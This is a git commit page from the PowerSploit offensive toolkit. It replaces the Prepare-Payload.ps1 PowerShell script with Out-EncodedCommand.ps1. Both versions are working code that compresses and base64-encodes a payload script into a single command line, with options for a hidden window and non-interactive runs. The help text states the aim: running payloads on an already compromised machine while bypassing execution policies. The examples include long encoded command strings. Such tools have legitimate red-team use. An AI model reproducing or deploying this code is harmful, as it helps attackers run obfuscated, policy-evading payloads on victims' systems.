diff options
author | bitform <matt@exploit-monday.com> | 2013-01-19 08:35:10 -0500 |
---|---|---|
committer | bitform <matt@exploit-monday.com> | 2013-01-19 08:35:10 -0500 |
commit | 33794a3d3f6dc101e3b1857a2e9e0dad49012f48 (patch) | |
tree | 2718a15a13a77b2fc7503eb27d16c8f53c95d201 | |
parent | ce10e8d317e3ce06fdd3e4068724890b477be733 (diff) | |
download | PowerSploit-33794a3d3f6dc101e3b1857a2e9e0dad49012f48.tar.gz PowerSploit-33794a3d3f6dc101e3b1857a2e9e0dad49012f48.zip |
Improved Prepare-Payload (now Out-EncodedCommand)
* Renamed Prepare-Payload to Out-EncodedCommand in order to conform to a
standard cmdlet verb.
* Fixed bug in PowerShell v2
* Defaults to full base-64 encoding unless it exceeds the cmd.exe
character limit. Otherwise, it will default to partial base-64 encoding
in an effort to save space. Thanks @Carlos_Perez for the idea!
* User will be prompted if the cmd.exe character limit is exceeded.
* Command-line output uses truncated arguments in order to save space.
Thanks @obscuresec!
-rw-r--r-- | Out-EncodedCommand.ps1 | 182 | ||||
-rw-r--r-- | Prepare-Payload.ps1 | 154 |
2 files changed, 182 insertions, 154 deletions
diff --git a/Out-EncodedCommand.ps1 b/Out-EncodedCommand.ps1 new file mode 100644 index 0000000..72d47e8 --- /dev/null +++ b/Out-EncodedCommand.ps1 @@ -0,0 +1,182 @@ +function Out-EncodedCommand
+{
+<#
+.SYNOPSIS
+
+Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
+
+PowerSploit Module - Out-EncodedCommand
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+
+.DESCRIPTION
+
+Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
+
+.PARAMETER ScriptBlock
+
+Specifies a scriptblock containing your payload.
+
+.PARAMETER Path
+
+Specifies the path to your payload.
+
+.PARAMETER NoExit
+
+Outputs the option to not exit after running startup commands.
+
+.PARAMETER NoProfile
+
+Outputs the option to not load the Windows PowerShell profile.
+
+.PARAMETER NonInteractive
+
+Outputs the option to not present an interactive prompt to the user.
+
+.PARAMETER Wow64
+
+Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
+
+.PARAMETER WindowStyle
+
+Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
+
+.PARAMETER EncodedOutput
+
+Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid.
+
+.EXAMPLE
+
+C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
+
+powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
+
+.EXAMPLE
+
+C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
+
+powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
+
+Description
+-----------
+Execute the above payload for the lulz. >D
+
+.NOTES
+
+This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
+
+.LINK
+
+http://www.exploit-monday.com
+#>
+
+ [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
+ [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
+ [ValidateNotNullOrEmpty()]
+ [ScriptBlock]
+ $ScriptBlock,
+
+ [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'FilePath' )]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Path,
+
+ [Switch]
+ $NoExit,
+
+ [Switch]
+ $NoProfile,
+
+ [Switch]
+ $NonInteractive,
+
+ [Switch]
+ $Wow64,
+
+ [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
+ [String]
+ $WindowStyle,
+
+ [Switch]
+ $EncodedOutput
+ )
+
+ if ($PSBoundParameters['Path'])
+ {
+ Get-ChildItem $Path -ErrorAction Stop | Out-Null
+ $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path))
+ }
+ else
+ {
+ $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
+ }
+
+ $CompressedStream = New-Object IO.MemoryStream
+ $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
+ $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
+ $DeflateStream.Dispose()
+ $CompressedScriptBytes = $CompressedStream.ToArray()
+ $CompressedStream.Dispose()
+ $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
+
+ # Generate the code that will decompress and execute the payload.
+ # This code is intentionally ugly to save space.
+ $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
+
+ # Base-64 strings passed to -EncodedCommand must be unicode encoded.
+ $UnicodeEncoder = New-Object System.Text.UnicodeEncoding
+ $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
+
+ # Build the command line options
+ # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea.
+ $CommandlineOptions = New-Object String[](0)
+ if ($PSBoundParameters['NoExit'])
+ { $CommandlineOptions += '-NoE' }
+ if ($PSBoundParameters['NoProfile'])
+ { $CommandlineOptions += '-NoP' }
+ if ($PSBoundParameters['NonInteractive'])
+ { $CommandlineOptions += '-NonI' }
+ if ($PSBoundParameters['WindowStyle'])
+ { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" }
+
+ $CmdMaxLength = 8190
+
+ # Build up the full command-line string. Default to outputting a fully base-64 encoded command.
+ # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial
+ # base-64 encoding to save space. Thanks @Carlos_Perez for the idea.
+ if ($PSBoundParameters['Wow64'])
+ {
+ $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
+
+ if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
+ {
+ $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
+ }
+
+ if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
+ {
+ $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
+ }
+ }
+ else
+ {
+ $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
+
+ if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
+ {
+ $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
+ }
+
+ if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
+ {
+ $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
+ }
+ }
+
+ if ($CommandLineOutput.Length -gt $CmdMaxLength)
+ {
+ Write-Warning 'This command exceeds the cmd.exe maximum allowed length!'
+ }
+
+ Write-Output $CommandLineOutput
+}
\ No newline at end of file diff --git a/Prepare-Payload.ps1 b/Prepare-Payload.ps1 deleted file mode 100644 index 0420a49..0000000 --- a/Prepare-Payload.ps1 +++ /dev/null @@ -1,154 +0,0 @@ -function Prepare-Payload
-{
-<#
-.SYNOPSIS
-
-Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
-
-PowerSploit Module - Prepare-Payload
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-
-.DESCRIPTION
-
-Prepare-Payload prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
-
-.PARAMETER ScriptBlock
-
-Specifies a scriptblock containing your payload.
-
-.PARAMETER Path
-
-Specifies the path to your payload.
-
-.PARAMETER NoExit
-
-Outputs the option to not exit after running startup commands.
-
-.PARAMETER NoProfile
-
-Outputs the option to not load the Windows PowerShell profile.
-
-.PARAMETER NonInteractive
-
-Outputs the option to not present an interactive prompt to the user.
-
-.PARAMETER Wow64
-
-Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
-
-.PARAMETER WindowStyle
-
-Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
-
-.EXAMPLE
-
-C:\PS> Prepare-Payload -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden
-
-powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
-
-Description
------------
-Execute the above payload for the lulz. >D
-
-.EXAMPLE
-
-C:\PS> Prepare-Payload -ScriptBlock {Write-Host 'hello, world!'}
-
-powershell.exe -EncodedCommand cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQwB5AC8ASwBMAEUAbgBWADkAYwBnAHYATABsAEYAUQB6ADAAagBOAHkAYwBuAFgAVQBTAGoAUABMADgAcABKAFUAVgBRAEgAQQBBAD0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA
-
-.NOTES
-
-This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
-
-.LINK
-
-http://www.exploit-monday.com
-#>
-
- [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
- [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
- [ValidateNotNullOrEmpty()]
- [ScriptBlock]
- $ScriptBlock,
-
- [Parameter(Position = 1, ValueFromPipeline = $True, ParameterSetName = 'FilePath' )]
- [ValidateNotNullOrEmpty()]
- [String]
- $Path,
-
- [Switch]
- $NoExit,
-
- [Switch]
- $NoProfile,
-
- [Switch]
- $NonInteractive,
-
- [Switch]
- $Wow64,
-
- [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
- [String]
- $WindowStyle
- )
-
- if ($PSBoundParameters['Path'])
- {
- Get-ChildItem $Path -ErrorAction Stop | Out-Null
- $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path))
- }
- else
- {
- $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
- }
-
- $CompressedStream = New-Object IO.MemoryStream
- $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
- $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
- $DeflateStream.Dispose()
- $CompressedScriptBytes = $CompressedStream.ToArray()
- $CompressedStream.Dispose()
- $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
-
- # Generate the code that will decompress and execute the payload.
- # This code is intentionally ugly to save space.
- $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
-
- # Base-64 strings passed to -EncodedCommand must be unicode encoded.
- $UnicodeEncoder = New-Object System.Text.UnicodeEncoding
- $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
-
- # Build the command line options
- $CommandlineOptions = New-Object String[](0)
- if ($PSBoundParameters['NoExit'])
- { $CommandlineOptions += '-NoExit' }
- if ($PSBoundParameters['NoProfile'])
- { $CommandlineOptions += '-NoProfile' }
- if ($PSBoundParameters['NonInteractive'])
- { $CommandlineOptions += '-NonInteractive' }
- if ($PSBoundParameters['WindowStyle'])
- { $CommandlineOptions += "-WindowStyle $($PSBoundParameters['WindowStyle'])" }
-
- if ($PSBoundParameters['Wow64'])
- {
- $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript"
- }
- else
- {
- $CommandLineOutput = "powershell.exe $($CommandlineOptions -join ' ') -EncodedCommand $EncodedPayloadScript"
- }
-
- if ($EncodedPayloadScript.Length -gt 32688)
- {
- Write-Warning 'The encoded portion of this command exceeds the maximum allowed base64 string length!'
- }
-
- if ($CommandLineOutput.Length -gt 8190)
- {
- Write-Warning 'This command exceeds the cmd.exe maximum allowed length!'
- }
-
- Write-Output $CommandLineOutput
-}
\ No newline at end of file |